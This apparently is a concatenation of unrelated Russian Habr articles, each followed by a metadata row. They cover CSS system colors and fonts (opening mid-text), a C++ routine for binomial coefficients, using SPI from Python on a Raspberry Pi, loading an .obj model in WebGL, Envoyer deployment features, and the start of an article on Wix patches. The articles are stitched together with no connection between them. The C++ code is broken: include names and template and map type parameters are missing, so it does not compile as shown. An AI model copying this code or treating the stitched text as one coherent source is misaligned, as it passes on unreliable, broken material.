Джим в своём материале привёл ссылку на [статью](https://web.dev/color-scheme/) Томаса Штайнера, откуда я узнал, что понятие «системные цвета» закреплено в [стандарте](https://drafts.csswg.org/css-color/#css-system-colors) CSS Color Module Level 4. Это — не такие цвета, которые являются одними и теми же во всех браузерах (или, по крайней мере, пытаются таковыми быть). Их позволено устанавливать на основе «выбора, сделанного пользователем, браузером или операционной системой». В результате, например, цвет `Canvas` — это «фоновый цвет содержимого приложения или документа». Вот конкретный пример: в тёмном режиме `background-color` — это `#1e1e1e` в Safari и `#121212` в Chrome. Если вас это устраивает — то есть — вы склоняетесь к использованию тех цветов, которые браузер считает подходящими для неких элементов, то воспользоваться этими цветами можно посредством соответствующих ключевых слов.
В вышеупомянутом стандарте описано [множество](https://drafts.csswg.org/css-color/#css-system-colors) системных цветов:
* Canvas
* CanvasText
* LinkText
* VisitedText
* ActiveText
* ButtonFace
* ButtonText
* ButtonBorder
* Field
* FieldText
* Highlight
* HighlightText
* Mark
* MarkText
* GrayText
Причём, они различаются не только от браузера к браузеру. Они подвергаются изменениям и при переключении между тёмной и светлой темами. Естественно, если используются соответствующие CSS-стили.
```
html {
color-scheme: light dark;
}
```
Если поменять тему — изменятся и эти цвета. При этом нет абсолютной необходимости использовать их в строгом соответствии с их названиями. Вот пример:
*Использование системных цветов*
А [тут](https://codepen.io/chriscoyier/pen/OJpKgBe), на CodePen, можно посмотреть код веб-страницы, при описании которой используются такие цвета.
*Пример на CodePen, в котором используются системные цвета*
В этом примере используются не только системные цвета, но и системный шрифт — `system-ui`. Браузер, выводя тексты, оформленные с помощью этого шрифта, действует в том же духе, в котором он действует, работая с системными цветами. Этот шрифт отличается той же гибкостью, что и такие цвета. То есть — он не будет одним и тем же в разных браузерах и операционных системах. Джим [писал](https://blog.jim-nielsen.com/2020/system-fonts-on-the-web/) и об этом. То, чего можно достичь с помощью такого подхода, раньше достигали, используя довольно длинный [список](https://css-tricks.com/snippets/css/system-font-stack/) именованных шрифтов. Теперь же в решении подобной задачи нам, при условии наличия браузерной поддержки, помогает CSS.
Есть [много](https://blog.jim-nielsen.com/2020/system-fonts-on-the-web/) таких шрифтов:
* serif
* sans-serif
* monospace
* system-ui
* cursive
* fantasy
* emoji
* math
* fangsong
* ui-serif
* ui-sans-serif
* ui-monospace
* ui-rounded
Но поддержку этих шрифтов в разных браузерах нельзя назвать хоть сколько-нибудь стабильной. Например, я могу воспользоваться таким стилем:
```
p {
font-family: ui-monospace, system-ui, fantasy;
}
```
На моём Mac, в браузере Safari, абзацы будут оформлены с помощью шрифта SF Mono (`ui-monospace`). А вот в Chrome шрифт `ui-monospace` не сработает, в этом браузере будет применён резервный шрифт SF Pro (`system-ui`). В Firefox не будет использован ни `ui-monospace`, ни `system-ui`. В результате абзацы будут оформлены с помощью шрифта Papyrus (`fantasy`). Получается, что, несмотря на возможность использования системных шрифтов, в наше время всё ещё важна подготовка стеков шрифтов для оформления различных элементов. Но при этом интересно то, что ключевые слова, описывающие системные шрифты, представляют собой почти то же самое, что и стеки шрифтов.
Итак, мы выяснили, что в CSS существуют системные цвета и системные шрифты. И тут прямо-таки напрашивается вопрос о том, есть ли в CSS ещё что-то «системное».
Поищем ответ на этот вопрос. Так, существуют ключевые слова для настройки степени жирности шрифта. Например, `font-weight: bold;` — это то же самое, что и `700`. А ключевое слово `bolder` указывает на то, что шрифт элемента лишь совсем немного жирнее, чем шрифт родительского элемента. Всё это не выглядит как некий механизм системного уровня, когда машина сама выбирает то, что считает нужным, и, в зависимости от конкретных условий, поступает по-разному. Но, возможно, этот механизм достаточно близок к чему-то «системному».
Существуют ещё и именованные размеры шрифтов, вроде `font-size: xx-small;`. Я понимаю, что системы испытывают желание управлять этими значениями, делая шрифт, настроенный с их помощью, такого размера, который лучше всего подходит для каждой конкретной ситуации. Но когда я по-быстрому это проверил (сравнив Chrome и iOS Safari), оказалось, что итоговый размер шрифта, вычисленный системой, и там и там получился одним и тем же.
При этом вышеописанные именованные размеры шрифтов применяются только к шрифтам. Я, например, не могу воспользоваться стилем `margin: large;`. Поместить подобное в CSS, конечно, можно, но это не возымеет никакого эффекта. В результате можно сказать, что в CSS нет универсальной системы именованных размеров элементов.
А как насчёт системных иконок? Нечто подобное представляют собой эмотиконы. Их используют, зная о том, что разные системы выводят их по-разному. Обычно это всех устраивает, так как известно, что внешний вид этих иконок будет согласован с другими подобными значками, используемыми в системе пользователя.
*Эмотикон Blue Book в разных системах (источник —* [*Emojipedia*](https://emojipedia.org/blue-book/)*)*
Если продолжить размышления о «системных» сущностях, то можно сказать, что существует такое явление, как «системные элементы управления для ввода данных». Ведь, как известно, в разных браузерах и на разных платформах подобные элементы управления выводятся очень по-разному. Но это не нарушает идеи, заложенные в спецификациях. Как говорится — каждому своё.
Пользовались ли вы системными CSS-цветами?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=css:_sistemnye_cveta,_shrifty_i_koe-chto_eshhyo) | https://habr.com/ru/post/567146/ | null | ru | null |
# Вычисление биномиальных коэффициентов… всё-таки программно
Ранее, в трёх статьях была затронута тема вычисления биномиальных коэффициентов.
[Расчет биномиальных коэффициентов на Си (С++)](http://habrahabr.ru/post/274689/)
[Расчет биномиальных коэффициентов с использованием Фурье-преобразований](http://habrahabr.ru/post/274729/)
[Вычисление биномиальных коэффициентов… вручную](http://habrahabr.ru/post/274889/)
В последней статье автор продемонстрировал чисто математическую оптимизацию вычисления биномиальных коэффициентов. Оказалось, что для их вычисления и компьютер-то не особенно нужен. Хватит бумаги, ручки, калькулятора ~~и пива~~. Однако, если одной из вышеперечисленных вещей под рукой не окажется, но в области досягаемости будет простаивающий компьютер, то можно сделать то же самое и на компьютере.
#### Алгоритм
В комментариях к статье автору попеняли за отсутствие формализованного алгоритма. После недолгих размышлений нарисовалось следующее.
При вычислении биномиального коэффициента после приведения факториальной формулы к виду:
**C(n, k) = П(n, k+1) / П(1, n-k)**
Получаем дробь, которую необходимо сократить. Как проще всего сократить дробь в целых числах? Разложить числитель и знаменатель на простые множители. Дело облегчается тем, что в данном случае, и числитель и знаменатель являются произведениями небольших чисел. Т.е. на простые множители можно раскладывать каждый из сомножителей по отдельности, накапливая результат в виде списка простых чисел с соответствующими показателями степени.
Затем, проходим по списку, полученному для знаменателя, берём каждое число и из показателя степени для этого числа в числителе вычитаем показатель степени для этого числа в знаменателе. Исходя из факта, что биномиальный коэффициент — число целое, знаменатель должен сократиться полностью, т.е стать равным 1.
Последний шаг: проходим по списку, полученному для числителя на предыдущем шаге, и перемножаем все числа, возведённые в степень, соответствующую этому числу.
#### Реализация
Хранить пары «простое число — показатель степени» было решено в контейнере **map**, где простое число является ключом, а показатель степени — значением.
Для факторизации чисел был взят самый примитивный алгоритм. Для оптимизации дальнейшего использования, в функцию факторизации по ссылке передаётся внешний контейнер.
```
#include
#include
using namespace std;
typedef unsigned long long ullong;
// Функция разложения числа на простые множители.
// В качестве аргументов получает число и
// ссылку на контейнер map, в который записывает разложение в виде:
// ключ - простое число, значение - степень этого числа в разложении.
template
void factorize(integral\_type num, map& res) {
integral\_type j = 2;
while (num / integral\_type(2) >= j) {
if (num % j == 0) {
res[j]++;
num /= j;
j = integral\_type(2);
}
else {
++j;
}
}
res[num]++;
}
typedef map factmap;
// Функция вычисления биномиального коэффициента.
ullong C(int n, int k) {
ullong result = 1uLL;
// Факториальная формула биномиального коэффициента приводится к виду
// C(n, k) = П(n, k+1) / П(1, n-k)
int lim\_numer\_min = k + 1; // минимальное число в произведении для числителя
int lim\_numer\_max = n; // максимальное число в произведении для числителя
int lim\_denom\_min = 2; // минимальное число в произведении для знаменателя
int lim\_denom\_max = n - k; // максимальное число в произведении для знаменателя
// контейнеры для разложения на простые множители числителя и знаменателя
factmap numerator, denominator;
// раскладываем все сомножители числителя на простые множители
for (int i = lim\_numer\_min; i <= lim\_numer\_max; ++i) {
factorize(ullong(i), numerator);
}
// раскладываем все сомножители знаменателя на простые множители
for (int i = lim\_denom\_min; i <= lim\_denom\_max; ++i) {
factorize(ullong(i), denominator);
}
// производим сокращение числителя на знаменатель
for (auto i = denominator.begin(); i != denominator.end(); i++) {
numerator[i->first] -= i->second;
}
// вычисляем значение биномиального коэффициента по
// несокращённым простым множителям числителя
for (auto i = numerator.begin(); i != numerator.end(); i++) {
// возведение в степень в целых числах умножением
for (ullong p = 0; p < i->second; ++p) {
result \*= i->first;
}
}
return result;
}
```
#### Тестирование
Головная программа была сделана наподобие программы из [первой статьи](http://habrahabr.ru/post/274689/):
```
int main() {
int n;
for (n = 34; n < 68; ++n) {
cout << "C(" << n << ", " << n/2 << ") = " << C(n, n/2) << endl;
}
return 0;
}
```
**Результат выполнения:**C(34, 17) = 2333606220
C(35, 17) = 4537567650
C(36, 18) = 9075135300
C(37, 18) = 17672631900
C(38, 19) = 35345263800
C(39, 19) = 68923264410
C(40, 20) = 137846528820
C(41, 20) = 269128937220
C(42, 21) = 538257874440
C(43, 21) = 1052049481860
C(44, 22) = 2104098963720
C(45, 22) = 4116715363800
C(46, 23) = 8233430727600
C(47, 23) = 16123801841550
C(48, 24) = 32247603683100
C(49, 24) = 63205303218876
C(50, 25) = 126410606437752
C(51, 25) = 247959266474052
C(52, 26) = 495918532948104
C(53, 26) = 973469712824056
C(54, 27) = 1946939425648112
C(55, 27) = 3824345300380220
C(56, 28) = 7648690600760440
C(57, 28) = 15033633249770520
C(58, 29) = 30067266499541040
C(59, 29) = 59132290782430712
C(60, 30) = 118264581564861424
C(61, 30) = 232714176627630544
C(62, 31) = 465428353255261088
C(63, 31) = 916312070471295267
C(64, 32) = 1832624140942590534
C(65, 32) = 3609714217008132870
C(66, 33) = 7219428434016265740
C(67, 33) = 14226520737620288370
Process returned 0 (0x0) execution time: 0.051 s | https://habr.com/ru/post/274911/ | null | ru | null |
# Использование SPI из Python на Raspberry Pi
Приведенная в этой статье информация получена в процессе подключения трансивера [nRF24L01+](http://www.nordicsemi.com/eng/Products/2.4GHz-RF/nRF24L01P) к RPi. Естественно, все это можно использовать и для работы с другими SPI устройствами.
Для включение аппаратного интерфейса SPI нужно в файле */etc/modprobe.d/raspi-blacklist.conf* закомментировать строку "*blacklist spi-bcm2708*" и перезагрузить Pi. Для того, что бы убедиться, что SPI включен можно запустить листинг директории */dev*:
Расположение сигналов SPI на разъеме GPIO:
Для проверки корректности работы SPI нужно замкнуть между собой MOSI и MISO и выполнить следующие команды:
```
$ wget https://raw2.github.com/torvalds/linux/master/Documentation/spi/spidev_test.c
$ gcc spidev_test.c
$ sudo ./a.out -D /dev/spidev0.0
```
Правильный результат выполнения должен быть таким:
Python модуль для работы с SPI можно взять [здесь](https://github.com/doceme/py-spidev/). Установка модуля выполняется следующим образом:
```
$ git clone https://github.com/doceme/py-spidev
$ cd py-spidev/
$ sudo python setup.py install
```
Основные функции модуля *py-spidev*.
* **SpiDev([bus],[client])**. Return a new SPI object that is (optionally) connected to the specified SPI device interface.
* **open(bus, device)**. Connects the object to the specified SPI device. open(X,Y) will open /dev/spidev-X.Y
* **xfer2([values])**. Perform SPI transaction. CS will be held active between blocks.
* **close()**. Disconnects the object from the interface.
Пример работы с SPI из Python:
```
nrf = spidev.SpiDev(0, 0)
nrf.xfer2([0x1, 0x8])
nrf.close()
``` | https://habr.com/ru/post/214901/ | null | ru | null |
# Знакомство фронтендера с WebGL: первые наброски (часть 2)
Это история в несколько частей:
* [Знакомство фронтендера с WebGL: почему WebGL? (часть 1)](https://habr.com/ru/post/567052/)
* Знакомство фронтендера с WebGL: первые наброски (часть 2)
* [Знакомство фронтендера с WebGL: четкие линии (часть 3)](https://habr.com/ru/post/567174/)
* [Знакомство фронтендера с WebGL: рефакторинг, анимация (часть 4)](https://habr.com/ru/post/567528/)
### Вспоминаем ради чего мы начали изучать WebGL
После недельного чтения ресурса и экспериментов у меня появился кустарный REPL, в котором я мог быстро набрасывать шейдеры и другой код, чтоб поэкспериментировать и найти решение.
> Я пишу статью, спустя 2 месяца после того как закончил работу над задачей и осталась только такая песочница ->
>
>
Вооружись знаниями и реплом, я пошел искать то, что сможет распарсить мне .obj файлик на вершины.Единственное в интернете которое более/менее правильно распарсило мне файлик это был npm пакет [webgl-obj-loader](https://www.npmjs.com/package/webgl-obj-loader).
#### Первые наброски
С помощью библиотеки, я сразу смог добиться какого-то результата в своей песочнице.
```
// vertex
attribute vec4 a_position; // объявляем переменную в которую будем прокидывать вершины яблока.
uniform mat4 u_matrix; // матрица которая будет нам помогать трансформировать модель
void main(){
gl_Position = u_matrix * a_position; // у glsl есть встроенные возможности по работе с матрицами. Тут он сам за нас перемножает вершины на матрицы и тем самым смещает их куда надо.
}
```
```
// fragment
precision mediump float; // точность для округления.
void main() {
gl_FragColor = vec4(1., 0., 0., 1.); // заливаем красным
}
```
Код
```
import { vertex, fragment } from './shaders'; // через parcel импортирует тексты
import { createCanvas, createProgramFromTexts } from "./helpers";
import { m4 } from "./matrix3d"; // после изучение webgl на webgl fund, мне в наследство досталась библиотека которая умеет работает с 3д матрицами.
import appleObj from "./apple.obj"; // моделька яблока
import * as OBJ from "webgl-obj-loader"; // наша либа которая распарсит obj
function main() {
const apple = new OBJ.Mesh(appleObj); // загружаем модель
const canvas = createCanvas(); // создаю canvas и вставляю в body
const gl = canvas.getContext("webgl"); // получаю контекст
const program = createProgramFromTexts(gl, vertex, fragment); // создаю программу из шейдеров
gl.useProgram(program); // линкую программу к контексту
// получаю ссылку на атрибут
const positionLocation = gl.getAttribLocation(program, "a_position");
// у либы была готовая функция, которая за меня создавала буфер и прокидывала распарсенные данные в буферы. Из .obj можно было достать не только вершины, но и другие координаты которые могут быть полезны.
OBJ.initMeshBuffers(gl, apple);
gl.enableVertexAttribArray(positionLocation); // активирую атрибут, зачем это делать не знаю, но не сделаешь, ничего не заработает.
gl.vertexAttribPointer(
positionLocation,
apple.vertexBuffer.itemSize, // либа сама определяла сколько нужно атрибуту брать чисел, чтоб получить вершину
gl.FLOAT,
false, // отключаем нормализацию (это чтоб не пыталось конвертировать числа больше 1 в 1. Аля 255 -> 0.255.
0,
0
); // объясняю как атрибуту парсить данные
// получаем ссылку на глобальную переменную которая будет доступна внутри шейдеров. В нее же мы будем прокидывать матрицы
const matrixLocation = gl.getUniformLocation(program, "u_matrix");
let translation = [canvas.width / 2, 400, 0]; // смещаю на центр экрана по вертикали и 400 px вниз
let rotation = [degToRad(180), degToRad(0), degToRad(0)]; // вращение по нулям
let scale = [5, 5, 5]; // увеличиваю модельку в 5 раз. scaleX, scaleY, scaleZ
// выставляю вью порт
gl.viewport(0, 0, gl.canvas.width, gl.canvas.height);
gl.enable(gl.DEPTH_TEST); // включаем специальный флаг, который заставляет проверять видеокарту уровень вложенности и если какой-то треугольник перекрывает другой, то другой не будет рисоваться, потому, что он не виден.
function drawScene() {
gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT); // очищаем канвас на каждый рендер
const matrix = m4.multiply(
m4.identity(), // создаем единичную матрицу. Матрицу у которой все значения по умолчанию.
m4.orthographic(
0,
gl.canvas.width,
gl.canvas.height,
0,
400,
-400
), // Создаем матрицу которая конвертирует неудобные размеры модельки яблока в координатное пространство -1 до 1.
m4.translation(...translation), // перемещаем модельку
m4.xRotation(rotation[0]), // крутим по X
m4.yRotation(rotation[1]), // крутим по Y
m4.zRotation(rotation[2]), // крутим по Z
m4.scaling(...scale) // увеличиваем модельку
); // перемножаем матрицы друг на друга, чтоб в конце получить 1 матрицу которую и прокинем в шейдер
gl.uniformMatrix4fv(matrixLocation, false, matrix); // прокидываем матрицу
// подключаю буфер с индексами
gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, apple.indexBuffer);
// рисуем яблоко треугольниками с помощью индексов
gl.drawElements(
gl.TRIANGLES,
apple.indexBuffer.numItems,
gl.UNSIGNED_SHORT,
0
);
}
drawScene();
// Тут код который настраивает всякие слайдеры, чтоб изменять матрицы.
// ...
//
}
main();
```
На выход я получил такую штуку:
Мне кажется это маленький шаг для webgl, но огромный скачок для **фронтендера**.
#### Что такое index?
При работе с либой узнал про новую вещь: индексы.
На самом деле в .obj файле кроме вершин есть текстурные координаты, нормали, поверхности (faces).
Что это вообще такое?
* Текстурные координаты это массив цифр который прокидывается в фрагментный шейдер и позволяет шейдеру понять где он вообще сейчас находится в модельке, чтоб наложить пиксель в зависимости от общего положения. Если их нет, то шейдер получается вообще изолированным и может только красить пиксели не зная где именно сейчас он закрашивает. Текстурные координаты прокидываются как атрибуты.
* Нормали это тоже координаты, но их можно использовать в фрагментом шейдере, чтоб понять как рисовать тень от объекта(модель) в зависимости от того как должен падать свет на объект.
* Поверхность - это массив индексов которые указывают на индекс в массиве вершин, текстур и нормалей. Поверхности это служебные данные для редактора моделей (аля cinema4d и других), которые позволяют объединять полигоны в квадраты и другие более сложные фигуры. В частности это нужно для того как рендерить именно модельку. Так вот индексы это и есть поверхности. Допустим мы прокинули в 2 атрибута данные от вершин и текстурных координат. И webgl смотрит на текущий индекс и по параметрам атрибутов (помните мы указывали size, сколько нужно брать чисел, чтоб получить вершину) берет из каждого атрибута нужный набор чисел и прокидывает их в шейдеры.
Дальше я попробовал изменить `gl.TRIANGLES` на `gl.LINES`. И получил следующий результат:
Мда, совершенно не то, что я ожидал. Где мои красивые линии как у дизайнера и че за треугольники. Я тогда впервые осознал простую истину, что все блин на треугольниках. В данной ситуации, я побежал в чат и тогда породил локальный мем.
> у меня начали появляться подозрения, что рисовать фигуры можно только через треугольники.
>
>
Я просто не знал что делать дальше и спрашивал советов. Среди них было несколько:
> - Используй в фрагментом шейдере uv, чтоб рисовать линии сам.
>
> - Распарси .obj сам и получили нужные значения.
>
> - Сделай uv разветку и натяну текстуру картинку.
>
>
Я не понял из 1 ответа, что такое uv, почему-то тогда мне никто не объяснил, что это и есть текстурные координаты. Да и где эти uv брать тоже было не понятно.
Из второе ответа, я тоже не понял что мне делать и какие значения использовать.
А третий ответ оказался хоть тоже загадочным, но мне объяснили что это значит. Нужно было через редактор моделей создать текстурные координаты и нарисовать под них текстуру.
В интернете я нашел гайды о том как сделать в cinema 4d uv разметку и там же нашел как нарисовать текстуру. В редакторе была возможность создать картинку и залить по граням поверхностей(faces) нужный цвет. Я считал, что это сразу решает мою проблему. Выплюнув texture.png и новый obj с uv (то есть так называются текстурные координаты).
### Баг который попортил нервы
Я побежал читать статью на [webgl fund как натянут текстуру](https://webglfundamentals.org/webgl/lessons/ru/webgl-3d-textures.html). Кода стало больше, но не увидел сложностей. Сделал как в гайде и думал, щас будет все отлично!
```
// vertex
precision mediump float;
attribute vec4 a_position;
attribute vec2 a_texture_coords; // текстурные координаты из модели
uniform mat4 u_matrix;
varying vec2 v_texture_coords;
void main(){
gl_Position = u_matrix * a_position;
v_texture_coords = a_texture_coords; // прокидываем во фрагментный шейдер
}
```
```
// fragment
precision mediump float;
varying vec2 v_texture_coords; // координаты из вершины
uniform sampler2D u_texture; // текстура
void main(){
gl_FragColor = texture2D(u_texture, v_texture_coords);
}
```
```
//...
const textureCoordsLocation = gl.getAttribLocation(
program,
"a_texture_coords"
); // получили ссылку на новый атрибут
// ...
gl.enableVertexAttribArray(textureCoordsLocation);
gl.bindBuffer(gl.ARRAY_BUFFER, apple.textureBuffer); // забиндили буфер которая выдала либа из модели
gl.vertexAttribPointer(
textureCoordsLocation,
apple.textureBuffer.itemSize,
gl.FLOAT,
false,
0,
0
);
const texture = gl.createTexture(); // запрашиваем место для текстуры
gl.bindTexture(gl.TEXTURE_2D, texture); // биндим
gl.texImage2D(
gl.TEXTURE_2D,
0,
gl.RGBA,
1,
1,
0,
gl.RGBA,
gl.UNSIGNED_BYTE,
new Uint8Array([0, 0, 255, 255])
); // сначала прокидываем пустышку, пока грузится текстура
const image = new Image();
image.src = textureImg; // загружаем текстуру
image.onload = () => {
gl.bindTexture(gl.TEXTURE_2D, texture);
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
gl.generateMipmap(gl.TEXTURE_2D);
gl.texParameteri(
gl.TEXTURE_2D,
gl.TEXTURE_MIN_FILTER,
gl.LINEAR_MIPMAP_LINEAR
);
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR); // какие-то неведомые настройки, чтоб все было круто
drawScene();
};
// ...
const textureLocation = gl.getUniformLocation(program, "u_texture");
function drawScene() {
// ...
gl.uniform1i(textureLocation, 0);
// ...
}
```
И после тонны кода получаем вот это **чудовище**:
**Что за??**
И вот тут у меня началась эпопея в целый рабочий день с целью решить проблему. Я мало, что понимал и считал, что это я косячу, а не либа которую использую. Сначала я на самом деле откатил код с текстурой и просто попробовал закрасить и получил опять какой-то невероятный результат.
**Что за фигня?**
Я тогда решил, что проблема в экспорте и вообще в том, что я делал с uv mapping. Поиграв пару часов с экспортом, я решил попробовать в blender экспортировать и о чудо, моделька починилась!
Потратив еще кучу часов в попытке разобраться, в чем же дело. Я заметил, что blender по умолчанию преобразовывал поверхности из 4 точек в поверхности из 3 точек. И когда я отключал данную функцию, то модельки опять ломались. И тогда, я понял, что проблема все это время была в библиотеке webgl-obj-loader. Она ломалась если ей подавали поверхности из 4 точек (на самом деле мне это объяснили в чате).
Я сразу побежал писать [жалобу на проблему](https://github.com/frenchtoast747/webgl-obj-loader/issues/69), а потом нашел pull request который правил эту багу и прикрепил его к своему issue.
Mesh: Fix bug with triangulation by qtip · Pull Request #66 · frenchtoast747/webgl-obj-loader[github.com](https://github.com/frenchtoast747/webgl-obj-loader/pull/66)### Отказ от webgl-obj-loader
Посмотрев на результат мучительной работы, я понял, что это не то, чего я хотел. Линии были толстыми, плюс чем сильней было скругление, тем плотней становилась область.
Еще я понимал, что есть какое-то другое решение, потому что когда я открывал модельку в просмотрщиках моделей, они правильно рисовали результат и красиво прорисовали линии.
Видя это, я понимал, что все можно рассчитать программно, но не знал как...
И в это время появился рыцарь в сияющих доспехах и спас меня из логова бессилия. Он был тем кто предложил:
> Распарси .obj сам и получили нужные значения.
>
>
На тот момент я не понимал, что вообще это значит и как мне это поможет. И человек накидал в песочнице пример на three.js.
Этот пример был светом. Я сразу же понял, что можно выкидывать **webgl-obj-loader** и зажить как человек. Выбросил его без каких либо сожалений.
Продолжение [здесь](https://habr.com/ru/post/567174/). | https://habr.com/ru/post/567082/ | null | ru | null |
# Встречайте Envoyer.io (часть 2)
[Envoyer](https://envoyer.io/) — новый сервис от Тэйлора Отвелла, создателя Laravel. Уже сейчас можно посмотреть [серию скринкастов на Laracasts](https://laracasts.com/series/envoyer) про этот сервис. Это вторая и последняя часть описания этого сервиса.
[Встречайте Envoyer.io (часть 1)](http://habrahabr.ru/post/253217/)
В это части будут описаны более продвинутые возможности Envoyer.
#### Кастомизация деплой хуков
У Envoyer есть 4 шага в процессе деплоя, а Вы в свою очередь можете выполнить любые свои скрипты *до* и *после* любого из этих шагов. Эти шаги: **Клон нового релиза**, **Установка composer зависимостей**, **Активация нового релиза** и **Удаление старых релизов**.
Возле каждого шага есть кнопка «шестерёнка», нажав на неё Вы попадает на следующий экран:
Там Вы можете добавлять хуки до и после выбранного шага. Нажмите на **Add Hook** в нужной Вам части.
Как видите, для каждого хука можно указать своё название, указать юзера под которым нужно выполнить скрипт, и тело хука, у которого есть доступ к переменной **`{{release}}`**, в которой хранится путь в папке самого нового релиза (например, `/home/my-user/website.com/releases/20150316083301`).
Заметьте, что Вы также можно посредством drag & drop менять порядок выполнения хуков.
#### Отмены
А что если Вы выполнили новый деплой и поняли, что всё сломали? Обычно, Вы бы коннектились на сервер через ssh, `git log`, искали бы нужный коммит, копировали бы хэш коммита, `git checkout THAT_HASH`, `composer install`, и только тогда, возможно, успокоились бы на несколько минут.
Используя Envoyer, Ваш предыдущий релиз будет находиться в рабочем состоянии в папке `releases`. Просто зайдите в дэшборд Вашего проекта, найдите деплой, который деплоил работающий код и нажмите кнопку “Redeploy”. Символическая ссылка `current` просто станет указывать на рабочую папку в папке `releases` и всё снова заработает.
#### Здоровье
Вы могли заметить раздел **Post-Deployment Health** на проектном дэшборде. Там есть иконки для Нью-Йорка, Лондона и Сингапура — три региона, из которых Envoyer проверяет доступность Вашего приложения. До тех пор, пока Вы не укажете Health Check URL, эти иконки будут знаками вопроса.
У каждого проекта может быть указать **Health Check URL**, который будет вызван Envoyer'ом после каждого деплоя. Редактировать этот URL можно в настройках проекта.
После деплоя, Envoyer смотрит на HTTP ответ от указанного URL, и проверят, является ли код ответа `200` (OK). Если да, то Envoyer считает приложение «здоровым». Вы можете указать домашнюю страницу Вашего сайта или сделать специальный тестовый URL, который в полной мере сможет указать, «здоров» ли Ваш сервер.
Если всё хорошо, то Вы увидите зеленые галочки.
Если что-то сломается, Вы увидите красные крестики (и тогда Вам, скорее всего, понадобится раздел «Отмены»):
#### Деплой на несколько серверов
Если Вы хотите деплоить на несколько серверов сразу, просто добавьте их в проект и сервер автоматически будет участвовать в деплое.
##### Стадии деплоя
Заметьте, что, когда идет процесс деплоя, пока не закончится предыдущий шаг деплоя на каждом сервере, дальнейшие шаги не запускаются, что позволяет серверам оставаться полностью синхронизированными между собой.
##### Синхронизация настроек окружения
Если у Вас есть локальный файл настройки, который нужно синхронизировать с серверами (`.env` в Laravel 5, `.env.php` в Laravel 4), нажмите кнопку **Manage Environment** в проектном дэшборде.
Заметьте, что файл шифруется паролем, который не хранится в Envoyer, поэтому не потеряйте “Environment Key”.
Как только Вы введёте пароль, Вам будет дано текстовое поле, которое по сути является редактором кода. Пишите то, что Вам нужно в этом поле, и содержимое будет сохранено в файл (`.env`, если Вы выбрали тип проекта Laravel 5 или Другой и `.env.php`, если тип проекта — Laravel 4).
Теперь выберите сервера, на которые нужно это сохранить и сохраните.
Envoyer сам сохранит этот файл в корень проекта на серверах и создаст все нужные символические ссылки.
#### Уведомления
Во вкладке «Notifications», можно настроить Envoyer так, чтобы он уведомлял Вас о важных событиях. В данный момент Envoyer может уведомлять в Hipchat и Slack.
#### Heartbeats
Одна из самых больших сложностей при управлении «здоровьем» серверов, это обеспечение того, что все cron задачи всегда работают. Envoyer Heartbeats позволяют установить условие, что если указанный URL пингуется с указанной частотой, значит cron работа «жива». Если пинга нет, Envoyer уведомит Вас об этом.
Чтобы добавить Heartbeat, во вкладке Heartbeats нажмите на кнопку *Add Heartbeat*.
Можно указать название и указать частоту, с которой ожидается получать пинг от cron задачи.
Как только Вы добавите его, статус будет Healthy. До тех пор, пока не пройдет указанное время, статус будет оставаться Healthy. То есть, если Вы выбрали 10 минут, оно будет оставаться Healthy в течение 10 минут после создания.
##### Пинг heartbeat
Каждый Heartbeat имеет свой уникальный URL, который можно получить на вкладке Heartbeats. Он будет следующего формата: `beats.envoyer.io/heartbeat/203849102395790125`
В обычном cron файле можно сделать следующим образом, чтобы пингануть Heartbeat:
```
php yourfile.php && curl https://beats.envoyer.io/heartbeat/203849102395790125
```
Если Вы используете Laravel, в последней версии в планировщик был добавлен метод `thenPing()`, который позволяет выполнить пинг любого URL после выполнения cron задачи. Это идеально подходит для Heartbeats:
Вот так выглядит уведомление, если нет пинга:
#### Совместная работа
Envoyer позволяет неограниченному количеству людей получать доступ к Вашим серверам. Если кто-то в Вашей команде хочет работать с Вами над деплоем серверов, но не хочет создавать свой аккаунт с указанием данных платежной карты, то можно создать аккаунт выбрав пункт “I’m just collaborating with others.” при регистрации.
У каждого проекта есть вкладка Collaborators, где Вы можете добавлять людей, указывая их email.
Заметьте, что у этих людей будет доступ ко всем функциям, кроме удаления проекта.
#### FAQ
###### Будет ли Envoyer заменой Forge?
Нет. Envoyer не управляет серверами. Но он составит отличную пару Forge.
###### Как Envoyer авторизуется на сервере?
После добавления нового сервера, Envoyer даст Вам SSH ключ, который нужно добавить в файл `authorized_keys` нужного пользователя
###### Могу ли я использовать Envoyer с не Laravel проектом?
Да, конечно. Правда, некоторые автоматические настройки не будут работать. Например, автоматическое создание символических ссылок на папку `storage`. Но этого можно будет добиться используя хуки.
###### Если я использую Forge, надо ли подключать сайт к Git репозиторию в Forge?
Нет, просто запустите сайт, не подключая ни к какому репозиторию. Всё остальное сделает Envoyer сам.
###### Что случится, если в каком-нибудь шаге деплоя произойдет ошибка?
Envoyer заметит это и уведомит Вас об этом. Деплой при этом будет отменён.
 | https://habr.com/ru/post/253278/ | null | ru | null |
# Создание patch’ей на Wix при помощи PatchWiz
Добрый день всем! Хочется поделиться со всеми своим опытом создания системы для генерации патчей (да простит меня читатель за использование этого слова). Про wix довольно много было написано [здесь](http://habrahabr.ru/search/?q=wix) и я предполагаю, что читатель немного знаком с ним, а вот проблему создания патчей как-то обошли. В нашей же компании они нашли широкое применение, в основном из-за своего размера, а также из-за возможности отката.
Для начала я опишу задачу, с которой я столкнулся, затем опишу базовую информацию для создания патчей. Также сделаю 2-ю часть с конкретным примером, утилитами для упрощения этого процесса и исходниками.
#### Задача:
1. Есть узкоспециализированный *desktop* продукт, который устанавливается по многим субъектам РФ в многие филиалы инстанции, связанной с лесным хозяйством. Давайте для удобство дадим имя этому условному продукту, допустим Ясень.
2. Для каждого субъекта собирается своя версия инсталляции, которые не отличаются бинарниками, а отличаются контент файлами, которые не меняются (карты, шаблоны отчетов, базовая БД и т.д.).
3. В «горячий» сезон обновления выпускаются раз в 1-2 недели (всем резко становится что-то нужно и часто что-то новое). При этом версия продукта меняется (либо *major*, *minor* или *build*)
4. В любой момент любой клиент может попросить как обновление, так и полную версию. Надо выйти из положения минимальными затратами.
5. *ClickOnce* не подходит, так как некоторые госструктуры, как ни странно, не имеют прямого выхода в интернет, либо он очень плох.
6. Сделать все на *Wix*, так как он бесплатен.
